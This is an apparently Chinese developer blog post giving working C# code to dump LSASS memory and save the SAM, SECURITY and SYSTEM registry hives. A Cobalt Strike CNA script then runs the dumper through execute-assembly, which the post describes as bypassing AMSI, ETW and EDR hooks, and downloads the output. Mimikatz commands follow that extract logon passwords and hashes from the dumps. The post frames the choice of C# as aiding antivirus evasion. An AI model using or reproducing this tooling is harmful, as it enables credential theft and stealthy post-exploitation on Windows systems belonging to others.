C# dump系统lsass内存和sam注册表详细-C#/.NET开发

这篇文章主要介绍了C# dump系统lsass内存和sam注册表，在这里选择 C# 的好处是体积小，结合 loadAssembly 方便免杀，希望对读者们有所帮助

1、检测权限

因为dump系统lsass内存和sam注册表需要管理员权限，所以首先需要对当前进程上下文权限做判断。


public static bool IsHighIntegrity()
{
            // returns true if the current process is running with adminstrative 
privs in a high integrity context
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
}

2、lsass内存

MiniDumpWriteDump是MS DbgHelp.dll 中一个API, 用于导出当前运行的程序的Dump，利用MiniDumpWriteDump实现dump lsass内存的功能，先加载MiniDumpWriteDump函数。


[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", 
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, 
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint 
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr 
userStreamParam, IntPtr callbackParam);

之后调用函数，并保存dump文件，代码如下所示：


namespace sharpdump
{
    public class MiniDumper
    {
        public static string MiniDump()
        {
            Process[] pLsass = Process.GetProcessesByName("lsass");
            string dumpFile = Path.Combine(Path.GetTempPath(), 
string.Format("lsass{0}.dmp", pLsass[0].Id));
            if (File.Exists(dumpFile)) File.Delete(dumpFile);
            Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}", 
pLsass[0].Id, dumpFile));
            using (FileStream fs = new FileStream(dumpFile, FileMode.Create, 
FileAccess.ReadWrite, FileShare.Write))
            {
                bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id, 
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
                if (bRet)
                {
                    Console.WriteLine("[+] Dump successful!");
                    return dumpFile;
                }
                else
                {
                    Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode: 
{0}", Marshal.GetLastWin32Error()));
                    return null;
                }
            }
        }
    }
}

3、实现reg save保存sam注册表

首先导入需要用到的API。


        [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
        public static extern int RegOpenKeyEx(
            UIntPtr hKey,
            string subKey,
            int ulOptions,
            int samDesired,
            out UIntPtr hkResult
        );

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern int RegSaveKey(
            UIntPtr hKey,
            string lpFile,
            IntPtr lpSecurityAttributes
        );

        [DllImport("advapi32.dll", SetLastError = true)]
        public static extern int RegCloseKey(
            UIntPtr hKey
        );

然后构建函数，对"SAM", "SECURITY", "SYSTEM"注册表进行reg save。


namespace sharpdump
{
    internal class Reg
    {
        public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
        public static int KEY_READ = 0x20019;
        public static int KEY_ALL_ACCESS = 0xF003F;
        public static int REG_OPTION_OPEN_LINK = 0x0008;
        public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
        public static int KEY_QUERY_VALUE = 0x1;
        public static void ExportRegKey(string key, string outFile)
        {
            var hKey = UIntPtr.Zero;
            try
            {
                RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE | 
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey); 
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
                RegSaveKey(hKey, outFile, IntPtr.Zero);
                RegCloseKey(hKey);
                Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
            }
            catch (Exception e)
            {
                throw e;
            }
        }
        public static string DumpReg(string key)
        {
            try
            {
                String addr = key + ".hiv";
                addr = Path.Combine(Path.GetTempPath(), addr);
                ExportRegKey(key, addr);
                return addr;
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                Console.WriteLine(e.StackTrace);
                return "";
            }
        }
    }
}

文件会被dump到temp目录下，然后对所有dump成功的文件进行打包处理，方便下载。完整代码稍后上传至知识星球。

4、关于ExecuteAssembly

ExecuteAssembly是CS可执行组件的一个替代方案，ExecuteAssembly基于C/C++构建，可以帮助广大研究人员实现.NET程序集的加载和注入。

ExecuteAssembly复用了主机进程spawnto来加载CLR模块/AppDomainManager，Stomping加载器/.NET程序集PE DOS头，并卸载了.NET相关模块，以实现ETW+AMSI绕过。除此之外，它还能够绕过基于NT静态系统调用的EDR钩子，以及通过动态解析API（superfasthash哈希算法）实现隐藏导入。

当前metasploit-framework和Cobalt Strike都已经实现了ExecuteAssembly功能，下面主要以Cobalt Strike为例，实现dump系统lsass内存和sam注册表的功能

5、CS 插件

以结合 Cobalt Strike 为例，编写一个简单的cna脚本。


popup beacon_bottom {
    menu "Dumper" {
     item "SharpDump"{
      local('$bid');
               foreach $bid ($1){
                   bexecute_assembly($1, script_resource("Dumper.exe"));
            }
     }
     item "DownloadDump"{
   prompt_text("File's address to download", "", lambda({
    bdownload(@ids, $1);
            }, @ids => $1));
   
        }
    }
}

加载脚本后，执行SharpDump，结果如下所示：


mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

 
lsadump::sam /sam:sam.hiv /system:system.hiv

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